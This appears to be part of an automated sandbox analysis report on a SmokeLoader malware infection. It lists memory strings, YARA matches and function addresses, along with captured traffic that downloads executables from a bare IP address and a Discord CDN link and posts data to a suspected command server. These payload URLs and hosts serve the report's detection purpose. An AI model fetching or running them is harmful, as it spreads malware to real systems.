Source: rnyuf.exe, 00000021.00000002.513668865.0000000002720000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/878382243242983437/878684457245220884/mrmoms.exe
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: ABA5.exe, 00000014.00000002.465939919.0000000005535000.00000004.00000001.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: ABA5.exe, 00000014.00000002.461322183.000000000457D000.00000004.00000001.sdmp, ABA5.exe, 00000014.00000002.461408772.00000000045C1000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: rnyuf.exe, 00000021.00000002.533474032.0000000004F3E000.00000004.00000001.sdmp	String found in binary or memory: https://sectigo.com/CPS0D
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: ABA5.exe, 00000014.00000002.473910018.0000000007B3F000.00000004.00000001.sdmp, rnyuf.exe, 00000021.00000002.533474032.0000000004F3E000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: aucmoney.com

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Code function: 33_2_00406B90 InternetCloseHandle,Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,GetFileAttributesA,GetFileAttributesA,CreateDirectoryA,GetFileAttributesA,GetFileAttributesA,Sleep,Sleep,Sleep,GetFileAttributesA,CreateDirectoryA,GetFileAttributesA,CreateDirectoryA,std::_Xinvalid_argument,std::_Xinvalid_argument,GetFileAttributesA,CreateDirectoryA,GetFileAttributesA,CreateDirectoryA,std::_Xinvalid_argument,std::_Xinvalid_argument,Sleep,Sleep,

33_2_00406B90

Source: global traffic	HTTP traffic detected: GET /blog/images/sefile.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.138.172.28
Source: global traffic	HTTP traffic detected: GET /blog/images/kl6.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.138.172.28
Source: global traffic	HTTP traffic detected: GET /blog/images/sefile2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 45.138.172.28
Source: global traffic	HTTP traffic detected: GET /attachments/878382243242983437/878684457245220884/mrmoms.exe HTTP/1.1Host: cdn.discordapp.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.172.28

Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: Il9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)
Source: ABA5.exe, 00000014.00000002.462864068.0000000004793000.00000004.00000001.sdmp	String found in binary or memory: ium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-java

Source: unknown

HTTP traffic detected: POST /upload/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://atvcampingtrips.com/upload/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 273Host: atvcampingtrips.com

Source: unknown

HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.7:49762 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000000.00000002.294298389.0000000004010000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.294341897.0000000004031000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.355046848.0000000002530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.355346540.00000000025B1000.00000004.00000001.sdmp, type: MEMORY

Source: b7cwlpwH6S.exe, 00000000.00000002.294124560.000000000267A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

PE file contains section with special chars

Show sources

Source: mrmoms[1].exe0.33.dr	Static PE information: section name:
Source: mrmoms[1].exe0.33.dr	Static PE information: section name:
Source: mrmoms[1].exe0.33.dr	Static PE information: section name:
Source: mrmoms[1].exe0.33.dr	Static PE information: section name:
Source: mrmoms[1].exe0.33.dr	Static PE information: section name: 800-850
Source: mrmoms[1].exe0.33.dr	Static PE information: section name: 800-850
Source: mrmoms.exe.33.dr	Static PE information: section name:
Source: mrmoms.exe.33.dr	Static PE information: section name:
Source: mrmoms.exe.33.dr	Static PE information: section name:
Source: mrmoms.exe.33.dr	Static PE information: section name:
Source: mrmoms.exe.33.dr	Static PE information: section name: 800-850
Source: mrmoms.exe.33.dr	Static PE information: section name: 800-850

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_0040C4B0	0_2_0040C4B0
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_0040B6D0	0_2_0040B6D0
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_0040C4B0	17_2_0040C4B0
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_0040B6D0	17_2_0040B6D0
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_00408C60	20_2_00408C60
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0040DC11	20_2_0040DC11
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_00407C3F	20_2_00407C3F
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_00418CCC	20_2_00418CCC
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_00406CA0	20_2_00406CA0
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_004028B0	20_2_004028B0
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0041A4BE	20_2_0041A4BE
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_00418244	20_2_00418244
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_00401650	20_2_00401650
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_00402F20	20_2_00402F20
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_004193C4	20_2_004193C4
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_00418788	20_2_00418788
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_00402F89	20_2_00402F89
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_00402B90	20_2_00402B90
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_004073A0	20_2_004073A0
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04018494	20_2_04018494
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04002DE0	20_2_04002DE0
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0400DE61	20_2_0400DE61
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04007E8F	20_2_04007E8F
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04008EB0	20_2_04008EB0
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04006EF0	20_2_04006EF0
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0401A70E	20_2_0401A70E
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04018F1C	20_2_04018F1C
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_040077C2	20_2_040077C2
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04007856	20_2_04007856
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_040018A0	20_2_040018A0
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04003170	20_2_04003170
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_040189D8	20_2_040189D8
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_040031D9	20_2_040031D9
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04002B00	20_2_04002B00
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0447E270	20_2_0447E270
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0447D742	20_2_0447D742
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C012D1	28_2_02C012D1
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C022E3	28_2_02C022E3
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C022AF	28_2_02C022AF
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01240	28_2_02C01240
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0125E	28_2_02C0125E
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0220D	28_2_02C0220D
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C013E0	28_2_02C013E0
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01389	28_2_02C01389
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C010E6	28_2_02C010E6
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0209B	28_2_02C0209B
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C010A5	28_2_02C010A5
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C020BB	28_2_02C020BB
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C030BD	28_2_02C030BD
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0304D	28_2_02C0304D
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0105B	28_2_02C0105B
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0306A	28_2_02C0306A
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0100A	28_2_02C0100A
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02030	28_2_02C02030
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C021D1	28_2_02C021D1
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C011DC	28_2_02C011DC
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C011FA	28_2_02C011FA
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02191	28_2_02C02191
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0214F	28_2_02C0214F
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01157	28_2_02C01157
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01177	28_2_02C01177
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0212B	28_2_02C0212B
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01134	28_2_02C01134
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C016C9	28_2_02C016C9
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C016E9	28_2_02C016E9
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C026BB	28_2_02C026BB
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0166A	28_2_02C0166A
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C03603	28_2_02C03603
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01639	28_2_02C01639
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C027D6	28_2_02C027D6
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C027F6	28_2_02C027F6
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00780	28_2_02C00780
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C027B8	28_2_02C027B8
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01763	28_2_02C01763
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00771	28_2_02C00771
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02735	28_2_02C02735
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C014D7	28_2_02C014D7
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C024E4	28_2_02C024E4
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01499	28_2_02C01499
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C044B7	28_2_02C044B7
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C014B9	28_2_02C014B9
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0147B	28_2_02C0147B
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0247C	28_2_02C0247C
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02408	28_2_02C02408
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01414	28_2_02C01414
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C015CE	28_2_02C015CE
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C025CE	28_2_02C025CE
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C015EE	28_2_02C015EE
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C025F1	28_2_02C025F1
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0159B	28_2_02C0159B
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01554	28_2_02C01554
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02507	28_2_02C02507
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02527	28_2_02C02527
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01529	28_2_02C01529
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00ADE	28_2_02C00ADE
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00AFC	28_2_02C00AFC
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00AB0	28_2_02C00AB0
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02A4F	28_2_02C02A4F
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01A74	28_2_02C01A74
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00A12	28_2_02C00A12
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02A31	28_2_02C02A31
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00A32	28_2_02C00A32
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02BCD	28_2_02C02BCD
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00BDB	28_2_02C00BDB
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01BE1	28_2_02C01BE1
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00BF9	28_2_02C00BF9
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02BFF	28_2_02C02BFF
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01B8D	28_2_02C01B8D
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00B9F	28_2_02C00B9F
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01BB0	28_2_02C01BB0
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01B50	28_2_02C01B50
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02B5B	28_2_02C02B5B
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01B6D	28_2_02C01B6D
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02B79	28_2_02C02B79
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01B10	28_2_02C01B10
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00B1C	28_2_02C00B1C
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00B3C	28_2_02C00B3C
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C028FB	28_2_02C028FB
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C028B0	28_2_02C028B0
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C018B6	28_2_02C018B6
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02859	28_2_02C02859
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02879	28_2_02C02879
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02839	28_2_02C02839
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C019DD	28_2_02C019DD
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C029DD	28_2_02C029DD
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C009F4	28_2_02C009F4
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C029FB	28_2_02C029FB
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01981	28_2_02C01981
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0299C	28_2_02C0299C
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0199F	28_2_02C0199F
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C029BA	28_2_02C029BA
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0295C	28_2_02C0295C
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01963	28_2_02C01963
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0297C	28_2_02C0297C
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0293C	28_2_02C0293C
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C0193F	28_2_02C0193F
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02ECB	28_2_02C02ECB
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02EE9	28_2_02C02EE9
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01E90	28_2_02C01E90
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02EAB	28_2_02C02EAB
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02E0D	28_2_02C02E0D
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02E2B	28_2_02C02E2B
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00E33	28_2_02C00E33
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02FC5	28_2_02C02FC5
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02F82	28_2_02C02F82
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02FAA	28_2_02C02FAA
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00FB3	28_2_02C00FB3
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01F50	28_2_02C01F50
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02F67	28_2_02C02F67
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02F09	28_2_02C02F09
